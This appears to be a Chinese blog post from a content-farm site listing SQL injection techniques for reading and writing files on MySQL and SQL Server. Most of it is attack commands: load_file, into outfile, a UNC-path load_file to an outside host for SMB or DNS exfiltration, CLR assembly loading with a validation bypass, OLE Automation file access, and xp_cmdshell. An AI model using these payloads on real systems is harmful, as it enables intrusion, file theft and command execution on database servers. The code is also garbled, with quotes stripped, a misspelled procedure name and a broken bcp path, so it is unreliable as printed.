共計 1990 個字符,預計需要花費 5 分鐘才能閱讀完成。
這篇文章主要介紹了 SQL 注入中文件讀寫的方法有哪些,具有一定借鑒價值,感興趣的朋友可以參考下,希望大家閱讀完這篇文章之后大有收獲,下面讓丸趣 TV 小編帶著大家一起了解一下。
一、MySQL
讀文件
常見的讀文件,可以用 16 進制代替字符串
select load_file(c:/boot.ini)
select load_file(0x633a2f626f6f742e696e69)
select load_file(//ecma.io/1.txt) # smb 協議
select load_file(\\\\ecma.io\\1.txt) # 可用于 DNS 隧道
寫文件
我暫時已知 l 兩種寫文件的方式
select 0x313233 into outfile D:/1.txt
select 0x313233 into dumpfile D:/1.txt
二、SQL Server
讀文件
1. BULK INSERT
create table result(res varchar(8000));
bulk insert result from d:/1.txt
2. CLR 集成
// 開啟 CLR 集成
exec sp_configure show advanced options
reconfigure;
exec sp_configure clr enabled ,1
reconfigure
create assembly sqb from d:\1.exe with permission_set=unsafe
上面一句可以利用 create assembly 函數從遠程服務器加載任何.NET 二進制文件到數據庫中; 但是他會驗證是否為合法.NET 程序,導致失敗,下面是讀取方式
select master.dbo.fn_varbintohexstr(cast(content as varbinary)) from sys.assembly_files
繞過,首先加載一個有效的.NET 的二進制文件,然后追加文件即可,下面是繞過方法。
create assembly sqb from d:\net.exe
alter assembly sqb add file from d:\1.txt
alter assembly sqb add file from d:\notnet.exe
3. Script.FileSystemObject
# 開啟 Ole Automation Procedures
sp_configure show advanced options
RECONFIGURE;
sp_configure Ole Automation Procedures
RECONFIGURE;
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate scripting.filesystemobject ,@o out
exec sp_oamethod @o, opentextfile , @f out, d:\1.txt , 1
exec @ret = sp_onmethod @f, readline , @line out
while(@ret = 0) begin print @line exec @ret = sp_oamethod @f, readline , @line out end
寫文件
1. Script.FileSystemObject
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate scripting.filesystemobject ,@o out
exec sp_oamethod @o, createtextfile , @f out, e:\1.txt , 1
exec @ret = sp_oamethod @f, writeline , NULL , This is the test string
2. BCP 復制文件(測試失敗,無 bcp.exe)
c:\windows system32 bcp select name from sysobjects query testout.txt -c -s 127.0.0.1 -U sa -p sa
3. xp_cmdshell
exec xp_cmdshell echo test d:\1.txt
三、Oracle
pass,Oracle 太坑了~~~ 幾乎都受到 PL/SQL 的限制,暫時不討論
感謝你能夠認真閱讀完這篇文章,希望丸趣 TV 小編分享的“SQL 注入中文件讀寫的方法有哪些”這篇文章對大家有幫助,同時也希望大家多多支持丸趣 TV,關注丸趣 TV 行業資訊頻道,更多相關知識等著你來學習!
正文完